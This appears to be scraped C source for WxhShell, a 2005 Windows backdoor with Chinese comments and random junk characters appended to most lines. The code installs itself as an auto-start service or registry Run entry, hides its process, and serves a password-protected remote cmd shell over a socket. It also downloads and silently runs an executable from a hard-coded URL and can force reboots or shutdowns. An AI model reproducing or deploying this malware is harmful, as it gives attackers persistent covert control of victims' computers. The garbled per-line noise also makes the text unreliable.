    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3ovWwZ8&  
    if(Boot(SHUTDOWN)) UN7EF/!Zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &w4?)#  
    else { `0rd26Qro  
    closesocket(wsh); }Dp*}=?E  
    ExitThread(0); =AsEZ)" _  
    } &*sP/z  
    break; 68bQ;Dv  
    } k=2Lo  
  // 获取shell =31"fS@  
  case 's': { B6=ebM`q  
    CmdShell(wsh); ,c$,!.r  
    closesocket(wsh); rjl`&POqc  
    ExitThread(0); 32l3vv.j  
    break; ImCe K  
  } iy6On,UL  
  // 退出 2^XGGB0  
  case 'x': { 7;u e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4)E_0.C  
    CloseIt(wsh); #w;v0&p  
    break; rI{=WPI&WU  
    } "B8Q:  
  // 离开 Twh!X*uQ  
  case 'q': { @)IjNplYkw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pnw]Tm}g  
    closesocket(wsh); zh4# A <e  
    WSACleanup(); y@]_+2Vo  
    exit(1); wWgWWXGT}  
    break; 9K/HO!z  
        } m2 -Sx  
  } =Xm@YVf&ZD  
  } t4{rb, }W  
&6DMk-  
  // 提示信息 1h(0IjG8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3E7ULK  
} D@C-5rmq  
  } yh^!'!I6u[  
z+x\(/  
  return; 2Fy>.*,?  
} Wi>!{.}%A  
M]<?k]_p  
// shell模块句柄 U2$d%8G  
int CmdShell(SOCKET sock) |\w=u6jX  
{ ^*S ,xP  
STARTUPINFO si; wU8Mt#D!  
ZeroMemory(&si,sizeof(si)); ADZ};:]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~a%Z;Aj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JROM_>mC  
PROCESS_INFORMATION ProcessInfo; ?:Mr=]sD  
char cmdline[]="cmd"; Qg^cf<X{i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kfm5i Q  
  return 0; F8hw #!Aq  
} XttqO f  
KuWWUjCE  
// 自身启动模式 h a|C&G  
int StartFromService(void) n-5W*zk1  
{ 'AzDP;6qFI  
typedef struct Y_}mYvJW  
{ uB |Ss  
  DWORD ExitStatus; m_hN*v Py  
  DWORD PebBaseAddress; $`APHjijN  
  DWORD AffinityMask; v. %R}Pa  
  DWORD BasePriority; Xf0M:\w=M  
  ULONG UniqueProcessId; jQk*8   
  ULONG InheritedFromUniqueProcessId; pqUCqo!m\  
}   PROCESS_BASIC_INFORMATION; `J]fcE%T0R  
ttXXy3G#  
PROCNTQSIP NtQueryInformationProcess; 33jovK 2  
>Wh}f3C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U QE qX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vQ<90Z xqB  
%509\;el  
  HANDLE             hProcess; R,)}>X|<  
  PROCESS_BASIC_INFORMATION pbi; Xm+8  
'iy*^A `Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0$_oT;{8  
  if(NULL == hInst ) return 0; YiYV>gaf"H  
dlU'2Cl7d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ur*T%b9&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (E/lIou  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fd?"-  
17D"cP  
  if (!NtQueryInformationProcess) return 0; [FK<96.nt  
OF%B[h&   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?in|qevL  
  if(!hProcess) return 0; pp.6Ex (R  
]DZE%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /V=24\1Ky  
?aC'.jH+  
  CloseHandle(hProcess); (*1v\Q  
~CVe yk< (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nM\eDNK  
if(hProcess==NULL) return 0; 9 Yx]=n  
;WgJ<&33  
HMODULE hMod; 0~HKiH-  
char procName[255]; $k0k k  
unsigned long cbNeeded; pX/n)q[  
zR `EU,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~)qtply  
qud\K+  
  CloseHandle(hProcess); GFfq+=se  
_nD$b={g  
if(strstr(procName,"services")) return 1; // 以服务启动 FvN<<&B  
{D!6%`HKV+  
  return 0; // 注册表启动 Op"M.]#  
} o8zy^zN$6  
y'(Ne=y  
// 主模块 M(RZ/x  
int StartWxhshell(LPSTR lpCmdLine) /D5`   
{ ;=geHiQHA  
  SOCKET wsl; I+Jm>XN  
BOOL val=TRUE; dcLA1sN,  
  int port=0; k4,BNJt'Z  
  struct sockaddr_in door; ?6(I V]  
UJ0<%^f  
  if(wscfg.ws_autoins) Install(); rm4.aO~-F  
vy_D>tp  
port=atoi(lpCmdLine); '7D,m H  
4%2~Wi8  
if(port<=0) port=wscfg.ws_port; !l|5z G  
cZH-"  
  WSADATA data; XQ%?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 SHU  
Rop'e8Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZIPl7tTw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ ):d`O e  
  door.sin_family = AF_INET; [vMvV4,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0q.Ujm=,z  
  door.sin_port = htons(port); vohoLeJTj  
SfJA(v@E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N>Eqj>G  
closesocket(wsl); `(v='$6}  
return 1; O=v#{ [  
} -od!J\ KCy  
fbWFLS m;  
  if(listen(wsl,2) == INVALID_SOCKET) { KBXK0zWh7  
closesocket(wsl); xY+VyOUs  
return 1; XW -2~?$  
} X/z6"*(|/  
  Wxhshell(wsl); s7g(3<(  
  WSACleanup(); /CuXa%Ci^  
T<JwD[ (  
return 0; SrFS#  
?+g`HTY u  
} S!Omy:=;i  
]?Fi$3Lm  
// 以NT服务方式启动 Vw#_68EybM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6'kS_Zu{<  
{ 56e r`=ms  
DWORD   status = 0; gzjR 6uz  
  DWORD   specificError = 0xfffffff; rgSOS-ox  
K TsgJ\W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7SlsnhpW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +Vo}F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qOSg!aft{Q  
  serviceStatus.dwWin32ExitCode     = 0; 28/ ADZ  
  serviceStatus.dwServiceSpecificExitCode = 0; mNb ?*3\  
  serviceStatus.dwCheckPoint       = 0; V$"ujRp  
  serviceStatus.dwWaitHint       = 0; QCH}-q)  
`(1K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :C}2=  
  if (hServiceStatusHandle==0) return; 2<`.#zIds  
txZ?=8j_Y  
status = GetLastError(); neXeAU  
  if (status!=NO_ERROR) -zp0S*iP7  
{ ?OE.O/~l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d"5oD@JG:  
    serviceStatus.dwCheckPoint       = 0; Y4cYZS47  
    serviceStatus.dwWaitHint       = 0; 1"pI^Ddt  
    serviceStatus.dwWin32ExitCode     = status; !).}u,*'no  
    serviceStatus.dwServiceSpecificExitCode = specificError; (RUT{)p[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a-"k/P#  
    return; "V>R9dO{"!  
  } Cw~RJ^a_  
cTXri8K_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `((Yc]:7  
  serviceStatus.dwCheckPoint       = 0; G0`h%  
  serviceStatus.dwWaitHint       = 0; #l4)HV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kx. X7R  
} MZpK~c1`  
aM@z^<Ub  
// 处理NT服务事件,比如:启动、停止 lqowG!3H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6*qL[m.F[o  
{ %'xb%`t  
switch(fdwControl) Y 2Q=rj  
{ *?z0$Kz<,[  
case SERVICE_CONTROL_STOP: 21ppSN >  
  serviceStatus.dwWin32ExitCode = 0; }w/;){gu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Iq#ZhAk  
  serviceStatus.dwCheckPoint   = 0; -pU|hSW*b  
  serviceStatus.dwWaitHint     = 0; ' zEI;v  
  { :U d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rwniOQe  
  } DNR~_3Aq  
  return; )mJf|W!Z#  
case SERVICE_CONTROL_PAUSE: U9&k;`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tV_t6x_.  
  break; Tx 1 vL  
case SERVICE_CONTROL_CONTINUE: ?E9DXg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m6MO W&  
  break; Qd_Y\PzS  
case SERVICE_CONTROL_INTERROGATE: .MVYB\6Q0  
  break; 4EXB;[ ]  
}; rUlS'L;$"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cv>o.Bp|  
} iweD @b  
'S<%Xm  
// 标准应用程序主函数 a8dXH5_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rrnNn'  
{ u>Rb ?`  
'lo  
// 获取操作系统版本 o7TN,([W  
OsIsNt=GetOsVer(); RQkyCAGx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $55U+)C<  
X; 5Jb  
  // 从命令行安装 -UZ@G~K  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]&ixhW  
7QVuc!V  
  // 下载执行文件 Uz608u  
if(wscfg.ws_downexe) { R7s|`\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F( Ak  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'JZJFE7Z  
} 6AvHavA^Y  
R#n%cXc|  
if(!OsIsNt) { R*zO dxY  
// 如果时win9x,隐藏进程并且设置为注册表启动 !j1[$% =#  
HideProc(); ygS L  
StartWxhshell(lpCmdLine); M wab!Ya  
} (f_g7B2&y  
else -ZW3  
  if(StartFromService()) ;' nL:\  
  // 以服务方式启动 0Rz(|jlbS  
  StartServiceCtrlDispatcher(DispatchTable); oyk>vIZ  
else ?( =p<TUw  
  // 普通方式启动 B51kV0  
  StartWxhshell(lpCmdLine); "BKeot[""p  
>r)X:K+I  
return 0; QC0!p"  
} Fl{WAg  
'4OcZ/oI  
#fs|BV !  
{%.Lk'#9  
=========================================== 4KI [D{  
sM\lO  
dQgk.k  
~AG$5!  
]h!`IX  
NQ|xM"MqD  
" z[#Fog  
r]P,9  
#include <stdio.h> $ P: O/O=>  
#include <string.h> ukuo:P<a  
#include <windows.h> Jqr)V2Y  
#include <winsock2.h> _M,lQ~  
#include <winsvc.h> ciMM^ZRIb  
#include <urlmon.h> D H^T x  
Nf9fb?  
#pragma comment (lib, "Ws2_32.lib") yg;_.4TpIO  
#pragma comment (lib, "urlmon.lib") TNY4z(r  
*zVvQ=  
#define MAX_USER   100 // 最大客户端连接数 u-DK_^v4M  
#define BUF_SOCK   200 // sock buffer Rt(J/%;  
#define KEY_BUFF   255 // 输入 buffer *Q}[ ]g  
d"~(T:=r  
#define REBOOT     0   // 重启 E-ZRG!)[v  
#define SHUTDOWN   1   // 关机 E1Q0k5@  
e kQrW%\3  
#define DEF_PORT   5000 // 监听端口 ~VTs:h  
Y7U&Q:5'  
#define REG_LEN     16   // 注册表键长度 1;| LI?  
#define SVC_LEN     80   // NT服务名长度 2GWDEgI1o  
b^`AJK  
// 从dll定义API *s)}Bj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eff\Aq{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F6S~$<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4B-yTyO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r;iV$Rq !  
*(GZ^QH.  
// wxhshell配置信息 8v y G*UK  
struct WSCFG { {UH9i'y:t  
  int ws_port;         // 监听端口 ~fzuwz  
  char ws_passstr[REG_LEN]; // 口令 {<w +3Va  
  int ws_autoins;       // 安装标记, 1=yes 0=no zuL7%qyv  
  char ws_regname[REG_LEN]; // 注册表键名 0y %L-:/c|  
  char ws_svcname[REG_LEN]; // 服务名 *]s&8/Gmb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ';RI7)<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x:5dC I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ?RD *1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =qoRS0Qa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2H[)1|]l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~U}Mv{ y  
noA-)  
}; .Gb+\E{M  
*j*Du+  
// default Wxhshell configuration 0jB X5  
struct WSCFG wscfg={DEF_PORT, lr('k`KOQ  
    "xuhuanlingzhe", LxJ6M/".  
    1, 0H=9@  
    "Wxhshell", IlLn4Iw  
    "Wxhshell", oEzDMImJ5  
            "WxhShell Service", e^e$mtI  
    "Wrsky Windows CmdShell Service", 0^_MN~s(X  
    "Please Input Your Password: ", C|z%P}u#p  
  1, #i@h{ R01  
  "http://www.wrsky.com/wxhshell.exe", %!.M~5mCd  
  "Wxhshell.exe" t 6u-G+}  
    }; 4/wwn6I}G  
 Iao[Pyk  
// 消息定义模块 WPY8C3XO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #*%fu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \3{3ly~L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c<qe[iyt/  
char *msg_ws_ext="\n\rExit."; VEh]p5D  
char *msg_ws_end="\n\rQuit."; PHR#>ZD  
char *msg_ws_boot="\n\rReboot..."; <jd/t19DB  
char *msg_ws_poff="\n\rShutdown..."; hWGZd~L  
char *msg_ws_down="\n\rSave to "; gOE_ ]  
gM_:l  
char *msg_ws_err="\n\rErr!"; {HZS:AV0  
char *msg_ws_ok="\n\rOK!"; W7!.#b(hU  
eihZp  
char ExeFile[MAX_PATH]; kl{6]39  
int nUser = 0; (zah890//  
HANDLE handles[MAX_USER]; Uu2N9.5  
int OsIsNt; ha'qIT 3&  
2uu[52H8d%  
SERVICE_STATUS       serviceStatus; [V< 1_zqt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5~\Kj#PBx  
q]v,  
// 函数声明 ,OBQv.D3>a  
int Install(void); t* z'c  
int Uninstall(void); 5upShtC  
int DownloadFile(char *sURL, SOCKET wsh); 4%bTj,H#  
int Boot(int flag); Hptq,~_t  
void HideProc(void);  [y{E  
int GetOsVer(void); ~PUsgL^  
int Wxhshell(SOCKET wsl); =49o U  
void TalkWithClient(void *cs); !d4HN.a7+u  
int CmdShell(SOCKET sock); T8q[7Zn  
int StartFromService(void); :c;_a-69  
int StartWxhshell(LPSTR lpCmdLine); a"qR J-@  
/Nqrvy=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OLFt;h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m'.T2e.u  
4]"w b5%  
// 数据结构和表定义 fu>Qi)@6a1  
SERVICE_TABLE_ENTRY DispatchTable[] = Fg@ ACv'@  
{ 3Wj,}  
{wscfg.ws_svcname, NTServiceMain}, ~x+Ykq0  
{NULL, NULL} Hs<n^fyf  
}; e 2*F;.)  
LV=^jsQ5  
// 自我安装 -R@JIe_28f  
int Install(void) ,^+#M{Z  
{ 2E$i_jc  
  char svExeFile[MAX_PATH]; s*{mT6s+T  
  HKEY key; }B*,mn2N  
  strcpy(svExeFile,ExeFile); 9L=;KtE1  
| M _%QM.  
// 如果是win9x系统,修改注册表设为自启动 )=(n/vckM  
if(!OsIsNt) { z[FI2jl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 d] tjT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T+BIy|O  
  RegCloseKey(key); ![q }BU4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @fDQ^ 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NV(fN-L  
  RegCloseKey(key); ;x RjQR  
  return 0; Z]e4pR6!  
    } ~GYpa t  
  } G* Ib^;$u  
} |)';CBb  
else { 4d6% t2  
;:^ Lv  
// 如果是NT以上系统,安装为系统服务 |<QI%Y$dr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V4oak!}?  
if (schSCManager!=0) CMKhS,,o  
{ 7n<#y;wo  
  SC_HANDLE schService = CreateService }RDb1~6C  
  ( Z3I L8  
  schSCManager, xK=J.>h3  
  wscfg.ws_svcname, ,?#*eJD  
  wscfg.ws_svcdisp, FB.!`%{  
  SERVICE_ALL_ACCESS, S^)WYF5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yj]ML:n  
  SERVICE_AUTO_START, |#:=\gugh  
  SERVICE_ERROR_NORMAL, w1.MhA  
  svExeFile, afV P-m4L  
  NULL, :MdEr//w  
  NULL, XzlIW&"uC  
  NULL, ^h"n03VFA  
  NULL, t3Qm-J}wSB  
  NULL 7rJ9 }/<I  
  ); [ArO$X3\  
  if (schService!=0) (,d/JnP  
  { JgxA^>|9;  
  CloseServiceHandle(schService); VEr 6uvB  
  CloseServiceHandle(schSCManager); kkHTbn=!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @>gD1Q7v b  
  strcat(svExeFile,wscfg.ws_svcname); SAQs {M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B>ge, }{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sn+FV+D  
  RegCloseKey(key); u% r!?-z  
  return 0; nh?9R&  
    } 4*YOFU}l  
  } L;4[ k;5  
  CloseServiceHandle(schSCManager); @\S]]oLn  
} @yCW8]  
} k62$:9`5  
QR|XV%$  
return 1; A4}JZi6@  
} IsWcz+1n  
b-,]A2.  
// 自我卸载 1mY+0  
int Uninstall(void) XTIu(f|d_;  
{ J& n ^y  
  HKEY key; 9$:QLE+t  
-MQZiq7H4  
if(!OsIsNt) { B-B?Ff>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g"TPII$  
  RegDeleteValue(key,wscfg.ws_regname); 8x!+tw7  
  RegCloseKey(key); g&|4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0>I]=M]@  
  RegDeleteValue(key,wscfg.ws_regname); QQ5lW  
  RegCloseKey(key); j{-mQTSD  
  return 0; **Qe`}E:  
  } wBg<Q{J  
} M-}j9,oR`  
} 7W6eiUI'  
else { s$js5 ou  
k, $I59  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4!NfQk>X  
if (schSCManager!=0) Y] D7i?3N  
{ 3D]2$a_d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mp]yKl  
  if (schService!=0) 4jDs0Hn"  
  { uWJ#+XK.  
  if(DeleteService(schService)!=0) { N8Rm})  
  CloseServiceHandle(schService); L*kh?PS;  
  CloseServiceHandle(schSCManager); 1}i&HIr!b  
  return 0; Usa{J:  
  } Gr`MGQ,  
  CloseServiceHandle(schService); ?Ry%c6(}  
  } ?ZSXoy-kr  
  CloseServiceHandle(schSCManager); </K%i;l  
} j;1~=j])  
} [] GthF  
j CTQ sV  
return 1; ^4y(pcD  
} [Ihp\!xqI  
T#MA#H2  
// 从指定url下载文件 [0mFy) 6  
int DownloadFile(char *sURL, SOCKET wsh) OqEg{o5 a&  
{ {^PO3I  
  HRESULT hr; 2LhfXBWf  
char seps[]= "/"; pDLu+ }@  
char *token; c n\k`8  
char *file; f_Wkg)g  
char myURL[MAX_PATH]; +YGw4{\EL  
char myFILE[MAX_PATH]; _A@fP[C  
zhVa.r A  
strcpy(myURL,sURL); Ov0O#`  
  token=strtok(myURL,seps); : ;E7+m  
  while(token!=NULL) 3i@ "D  
  { KdBq@  
    file=token; !=~s/{$PE  
  token=strtok(NULL,seps); 2<46jJYL'  
  } >!HfH(is\  
3s+<    
GetCurrentDirectory(MAX_PATH,myFILE); ~8KF<2c   
strcat(myFILE, "\\"); i6!T`Kau  
strcat(myFILE, file); ::3iXk)  
  send(wsh,myFILE,strlen(myFILE),0); Q:-%3)g<<  
send(wsh,"...",3,0); Dz"u8 f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ? 6yF{!F*  
  if(hr==S_OK) 0)6i~MglY  
return 0; IGh !d?D  
else d- Z+fz  
return 1; Rye ~w6  
O<eWq]  
} ~$?y1Yv  
=!pu+&I 9  
// 系统电源模块 /pAm8vK   
int Boot(int flag) 4Vb}i[</  
{ 6b#:H~ <  
  HANDLE hToken; zkT`] @`J  
  TOKEN_PRIVILEGES tkp; SIaUrC  
'[M^f+H|  
  if(OsIsNt) { H|rX$P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  uu WY4j6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  K$37}S5  
    tkp.PrivilegeCount = 1; o+"0.B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t?du+:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S|RpA'n  
if(flag==REBOOT) { A4 A6F<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ] dm1Qm  
  return 0; EMVoTW)z  
} =ELDJt  
else { *MnG-\{j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pr[B$X .V  
  return 0; i&}zcGC  
} tn:/pPap  
  } ~7,2N.vO2  
  else { K c2OLz#  
if(flag==REBOOT) { $ +GFOO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @^y?Bh9jQ  
  return 0; }ZM*[j  
} EL 8N[]RF  
else { [G'!`^V,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [0tf Y0  
  return 0; m>*A0&??[  
} E.H,1 {  
} .@8m\  
%X0NHta ~@  
return 1; l~Ie#vak  
} 9A* ?E  
<.AC=4@V  
// win9x进程隐藏模块 bCE7hutl  
void HideProc(void) M0Kh>u  
{ fzkCI  
c`$`0}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *1o+o$hY2  
  if ( hKernel != NULL ) 4B3irHs\Q  
  { v8U1uOR,%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qUDz(bFk/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V~J2s  
    FreeLibrary(hKernel); C\a:eSgaC  
  } 53,,%Ue  
guUr1Ij  
return; xT=kxyu  
} eF8 aB?&"  
z|DA _dG  
// 获取操作系统版本 8[`^(O#\E  
int GetOsVer(void) +/~\b/  
{ {xBjEhQm  
  OSVERSIONINFO winfo;  Z$#ZYD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rbj+P;t&  
  GetVersionEx(&winfo); z:i X]df  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YPff)0Nh  
  return 1; C tC`:!Q  
  else ?`l=!>C4s  
  return 0; 4MtqQq4%  
} c~L6fvS  
nnd-pf-  
// 客户端句柄模块 1{Alj27  
int Wxhshell(SOCKET wsl) 4_m /_Z0x  
{ ]|$$:e^U9  
  SOCKET wsh; Z1V'NJI+  
  struct sockaddr_in client; z?t(+^  
  DWORD myID; O[hbu![  
@DQ"vFj6<  
  while(nUser<MAX_USER) 6JFDRsX>)?  
{ N>}K+M>  
  int nSize=sizeof(client); {OhkuON  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H-cBXp5z  
  if(wsh==INVALID_SOCKET) return 1; R !%m5Q?5  
?k:])^G5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Er/5 ,  
if(handles[nUser]==0) M9 2~iM  
  closesocket(wsh); J! 6z  
else |b-Zy~6  
  nUser++; ad$Qs3)6o  
  } P15 *VPy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %oCjZ"ke  
J_wz'eIb0  
  return 0; oCdOC5  
} _ !^FW%  
DCt:EhC  
// 关闭 socket  > ^v8N  
void CloseIt(SOCKET wsh) u$%#5_k  
{ hPeKQwzC0  
closesocket(wsh); k>0cTBY&  
nUser--; 55\X\> 0C7  
ExitThread(0); _6-/S!7Y\  
} *UL|{_)c  
^qus `6  
// 客户端请求句柄 CMG`'gT  
void TalkWithClient(void *cs) r4NT`&`g?  
{ 2E ; %=e  
,^IZ[D>u)  
  SOCKET wsh=(SOCKET)cs; HlL@{<  
  char pwd[SVC_LEN]; ;gW|qb+#)j  
  char cmd[KEY_BUFF]; FTYLMQ i  
char chr[1]; 4 TQISu)  
int i,j; 4tTZkJc  
q'V{vFfY%  
  while (nUser < MAX_USER) { ot+~|Dl  
*1)NABp6D  
if(wscfg.ws_passstr) { qQ DFg`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2#:]%y;\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uF3p1by  
  //ZeroMemory(pwd,KEY_BUFF); HToN+z%w3H  
      i=0; zkMO3w>  
  while(i<SVC_LEN) { qp_ `Fj:  
/GSI.tO  
  // 设置超时 JdYF&~  
  fd_set FdRead; PKM$*_LcGI  
  struct timeval TimeOut; IV)W|/.  
  FD_ZERO(&FdRead); 5Kw?SRFH/  
  FD_SET(wsh,&FdRead); 4%v+ark8  
  TimeOut.tv_sec=8; y yR8VO{  
  TimeOut.tv_usec=0; E)_!Hi0<s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MJ"Mn^:/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >)A  
re7\nZ<\|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P_lcX;O  
  pwd=chr[0]; 2V"gqJHv  
  if(chr[0]==0xd || chr[0]==0xa) { ^%X\ }><  
  pwd=0; 8(f0|@x^  
  break; e/Oj T  
  } kt3#_d^El  
  i++; <$ZT]pT  
    } G~tOCp="p  
i|,A1c"*  
  // 如果是非法用户,关闭 socket _>m*`:Wb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |ShRxE3@'  
}  ;yER V  
^-;Z8M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }7 z+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $)7f%II  
h-rj  
while(1) { e&4wwP"`<  
udy;Odt  
  ZeroMemory(cmd,KEY_BUFF); q4ko}jn  
6:z&ukq E  
      // 自动支持客户端 telnet标准   3L]^x9Cu)  
  j=0; )Q j9kJq  
  while(j<KEY_BUFF) { Q0; gF?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [k=9 +0p  
  cmd[j]=chr[0]; [}>6n72gNh  
  if(chr[0]==0xa || chr[0]==0xd) { *Z2Q]?:{ i  
  cmd[j]=0; nkj'AH"2  
  break; 842+KLS  
  } 2b,TkG8K  
  j++; @Be:+01z  
    } aw"%B-N \  
/aa;M*Qp  
  // 下载文件 q.QYn.CBZz  
  if(strstr(cmd,"http://")) { Iw |[*Nu-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >T^v4A  
  if(DownloadFile(cmd,wsh)) r8?Lr-;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : 8<^rP  
  else X/7_mU>aKT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GWZXRUc  
  } ~wg^>!E  
